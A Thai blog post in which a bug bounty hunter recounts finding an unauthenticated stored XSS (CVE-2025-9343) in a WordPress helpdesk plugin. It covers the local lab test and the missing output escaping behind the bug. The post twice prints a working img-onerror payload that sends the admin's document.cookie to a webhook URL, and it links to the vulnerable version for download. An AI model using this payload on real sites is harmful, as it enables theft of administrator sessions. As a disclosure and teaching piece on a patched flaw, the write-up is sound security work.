แชร์ประสบการณ์ค้นหาช่องโหว่ปลั๊กอิน WordPress - ครั้งแรกก็เจอ Stored XSS ได้ทั้ง CVE พร้อม Bounty ฉ่ำ ๆ - Extreme IT

แชร์ประสบการณ์ค้นหาช่องโหว่ปลั๊กอิน WordPress – ครั้งแรกก็เจอ Stored XSS ได้ทั้ง CVE พร้อม Bounty ฉ่ำ ๆ

ก่อนหน้านี้แอดเคยแนะนำแพลตฟอร์มสำหรับเหล่า White Hat Hacker ที่อยากมีเลข CVE เป็นชื่อตัวเอง แถมได้เงิน (Bounty) จากการค้นหาช่องโหว่ด้วย ซึ่งแพลตฟอร์มที่แอดเข้าร่วมมี 2 แห่ง คือ WordFence และ Patchstack

และปีใหม่นี้ก็ได้ฤกษ์แชร์ประสบการณ์ การค้นหาช่องโหว่ตัวแรกสุดที่แอดเจอแบบไม่ได้ตั้งใจ จากการลองหาเล่น ๆ สู่การเป็น Bounty Hunter ในปัจจุบัน และช่องโหว่นั้นก็คือ CVE-2025-9343 ELEX WordPress HelpDesk & Customer Ticketing System <= 3.3.4 – Unauthenticated Stored Cross-Site Scripting

อธิบายช่องโหว่นี้ง่าย ๆ คือ ผู้โจมตีสามารถฝังสคริปต์ลงไปใน Ticket ที่ส่งหาแอดมินของเว็บไซต์ได้ เพื่อก่อกวนหรือรุนแรงถึงการขโมยคุกกี้เพื่อสวมรอยแอดมิน โดยที่ไม่จำเป็นต้องล็อกอินใด ๆ เลย ซึ่งช่องโหว่นี้จริง ๆ อยากเอามาแชร์นานแล้ว แต่ติดที่ทาง WordFence ยังไม่เผยแพร่ให้สักที จึงต้องรอจนเขาเพิ่งปล่อยออกมาเมื่อไม่นานนี้เองครับ

 

ทดสอบช่องโหว่

แอดทำการทดสอบช่องโหว่ผ่าน WordPress ที่ติดตั้งบน XAMPP (เราสามารถใช้ Docker ได้นะครับ เร็วกว่าด้วย) หลังทำการติดตั้งปลั๊กอิน ELEX WordPress HelpDesk & Customer Ticketing System ในเวอร์ชันตั้งแต่ 3.3.4 หรือต่ำกว่า ก็เข้าไปตั้งค่าปลั๊กอินนิดหน่อยให้ใช้งานได้ครับ

ตั้งค่าหน้าเพจและข้อมูลการติดต่อแอดมิน ที่เหลือใช้ค่าดั้งเดิมทั้งหมดของปลั๊กอิน
เสร็จแล้วลองเข้าไปดูใน Ticket ตอนนี้ยังไม่มีข้อมูลตั๋วนะครับ

จากนั้นก็เปิดแท็บ Incognito (ไม่ระบุตัวตน) เพื่อจำลองว่าเราเป็นผู้เข้าชมเว็บแบบ Unauthenticated (ยังไม่ได้ล็อกอิน) แล้วเข้าสู่หน้าที่จะส่งตั๋วไปหาซัพพอร์ตของเว็บไซต์

อีกแท็บหนึ่งให้เราเข้า webhook แล้วนำ url จาก webhook มาใช้ เสมือนเป็นเซิร์ฟเวอร์ปลายทางที่เราจะให้สคริปต์ของเราส่งข้อมูลไป

เมื่อได้องค์ประกอบครบ แอดก็ทำการใส่สคริปต์ไว้ในส่วน Subject ขณะที่ส่วน Email และ Description ใส่ข้อมูลตามปกติ สคริปต์ที่ใช้คือ 

<img src=x onerror=”(new Image).src=’https://webhook.site/43574285-3dd1-4e6d-b7d0-d9050e3ef881?c=’+encodeURIComponent(document.cookie)”>

จากนั้นก็กดส่งตั๋วไปหาแอดมิน

กลับมาที่ฝั่งแอดมินของเว็บไซต์ รีเฟรชหน้าดูตั๋วอีกครั้ง จะพบว่ามีตั๋วส่งเข้ามาจริง ดูเผิน ๆ ฝั่งแอดมินอาจจะไม่เห็นอะไรใช่ไหมครับ เรากลับมาที่ฝั่งผู้เข้าชมเว็บ (ผู้โจมตี) กันบ้าง

เมื่อดูใน webhook อีกครั้ง จะพบว่าจู่ ๆ มีข้อมูลส่งเข้ามาจากเว็บ WordPress ซึ่งในนั้นมีข้อมูลคุกกี้ของแอดมินด้วย !! แบบนี้ก็หวานปาก Attacker เลยสินะ

 

วิเคราะห์ช่องโหว่

เรามาดูที่ภาพนี้กันครับ จากภาพจะเห็นว่า ปลั๊กอินเปิดให้ผู้ใช้ส่งข้อความตั๋วเข้ามาได้ แต่ระบบไม่ได้ตรวจสอบหรือแปลงข้อมูลที่ผู้ใช้กรอกเลย ทำให้ผู้ใช้สามารถใส่โค้ด HTML แฝงเข้ามาได้

ตามปกติแล้ว ข้อมูลที่ผู้ใช้กรอกควรถูกแสดงผลเป็น “ข้อความธรรมดา” แต่ในกรณีนี้ ระบบกลับนำข้อมูลนั้นไปแสดงผลแบบ HTML จริง ๆ

เมื่อผู้โจมตีใส่โค้ดนี้เข้าไปในตั๋ว

<img src=x onerror=”(new Image).src=’https://webhook.site/43574285-3dd1-4e6d-b7d0-d9050e3ef881?c=’+encodeURIComponent(document.cookie)”>

แล้วแอดมินเปิดหน้าดูรายการตั๋ว ระบบจะพยายามโหลดภาพชื่อ x แต่ไม่พบไฟล์ภาพดังกล่าว

ผลก็คือเบราว์เซอร์จะเรียกคำสั่ง onerror ขึ้นมาทำงานโดยอัตโนมัติ (ซึ่งจริง ๆ อย่างน้อยมันควรถูกกรองหรือเข้ารหัสให้ออกมาอยู่ในรูปแบบ &lt;img src=x….&gt; อะไรแบบนี้)

เนื่องจาก onerror สามารถรันสคริปต์ได้ โค้ดที่อยู่ด้านหลังจึงถูกสั่งให้ทำงาน และทำการส่งข้อมูลคุกกี้ของแอดมินไปยัง webhook ที่ผู้โจมตีเตรียมไว้ ผลลสุดท้ายคือแอดมินถูกขโมยคุกกี้ จบปิ๊ง

ปัจจุบันปลั๊กอิน ELEX WordPress HelpDesk & Customer Ticketing System ได้ทำการอัปเดตแพตช์ปิดช่องโหว่เรียบร้อย แต่ถ้าใครอยากลองก็ลองหาโหลดมาทดสอบได้ที่ลิงก์นี้ https://wordpress.org/plugins/elex-helpdesk-customer-support-ticket-system/advanced/ ดูในส่วน Advanced Options นะครับ

Happy Hacking

Articles

รีวิว BenQ InstaShow VS25 ตัวจบการประชุมไร้สาย เสียบปุ๊บขึ้นจอปั๊บ ไม่ต้องลงไดร์เวอร์ !

ถ้าพูดถึงปัญหาของการประชุมออนไลน์ หลายคนน่าจะเจอปัญหาคล้าย ๆ กัน คือความวุ่นวาย ความซับซ้อน ไหนจะต้องโหลดไดร์เวอร์ เดี๋ยว Wi-Fi...

รีวิว KIOXIA EXCERIA SSD ตัวแรงขึ้นจริง และเข้าถึงง่ายกว่าที่คิด

ถ้าพูดถึง KIOXIA หลายคนน่าจะคุ้นเคยกันดีในฐานะแบรนด์หน่วยความจำระดับโลกจากญี่ปุ่น ที่อยู่ในวงการมานานและขึ้นชื่อเรื่องคุณภาพและความเสถียร ล่าสุด KIOXIA ได้ส่งไลน์อัป EXCERIA Series ออกมาถึง 3 รุ่น เพื่อตอบโจทย์การใช้งานที่แตกต่างกัน...

พนักงานแสบ แอบวาง Backdoor ในโค้ดปลั๊กอิน LA-Studio Element Kit for Elementor – มาดูกันว่าแอดหาเจอได้ยังไง

หลังจากทำใจอยู่นาน ตอนนี้ผมได้ฤกษ์จะมาบอกเล่าถึงการค้นหาช่องโหว่ตัวจี๊ดล่าสุด แต่แฝงมาด้วยความน่าสะพรึงกลัว นั่นคือช่องโหว่ LA-Studio Element Kit for Elementor...

รีวิว HyperX OMEN 15 เกมมิงโน้ตบุ๊กพลังแรง ใส่สุดทุกด้าน ใช้งานได้ระยะยาว

ถ้าพูดถึงชื่อ HyperX หลายคนน่าจะนึกถึงคีย์บอร์ด หูฟัง หรืออุปกรณ์เกมมิ่งสีแดงสุดคุ้นตา แต่รอบนี้ HyperX ขยับตัวครั้งใหญ่ ด้วยการจับมือกับ...

[HOW TO] ตั้งค่า Microsoft Word ให้ Save งานลงในโฟลเดอร์ที่ต้องการ แทน OneDrive

คิดว่าคนที่ทำงานเอกสารน่าจะคุ้นเคยกับฟีเจอร์ “เซฟงานลง OneDrive” กันอย่างแน่นอน เพราะมันช่วยให้งานของเราถูกเก็บลงในไดรฟ์ออนไลน์ในบัญชี Microsoft เราสามารถซิงก์งานลงบนคลาวด์ได้อัตโนมัติ แถมเป็นการป้องกันไฟล์สูญหายได้ด้วย แต่แอดเชื่อว่าหลาย ๆ...

เราใช้คุกกี้เพื่อพัฒนาประสิทธิภาพ และประสบการณ์ที่ดีในการใช้เว็บไซต์ของคุณ คุณสามารถศึกษารายละเอียดได้ที่ นโยบายความเป็นส่วนตัว และสามารถจัดการความเป็นส่วนตัวเองได้ของคุณได้เองโดยคลิกที่ ตั้งค่า

ตั้งค่าความเป็นส่วนตัว

คุณสามารถเลือกการตั้งค่าคุกกี้โดยเปิด/ปิด คุกกี้ในแต่ละประเภทได้ตามความต้องการ ยกเว้น คุกกี้ที่จำเป็น

ยอมรับทั้งหมด
จัดการความเป็นส่วนตัว
  • เปิดใช้งานตลอด

บันทึกการตั้งค่า
Exit mobile version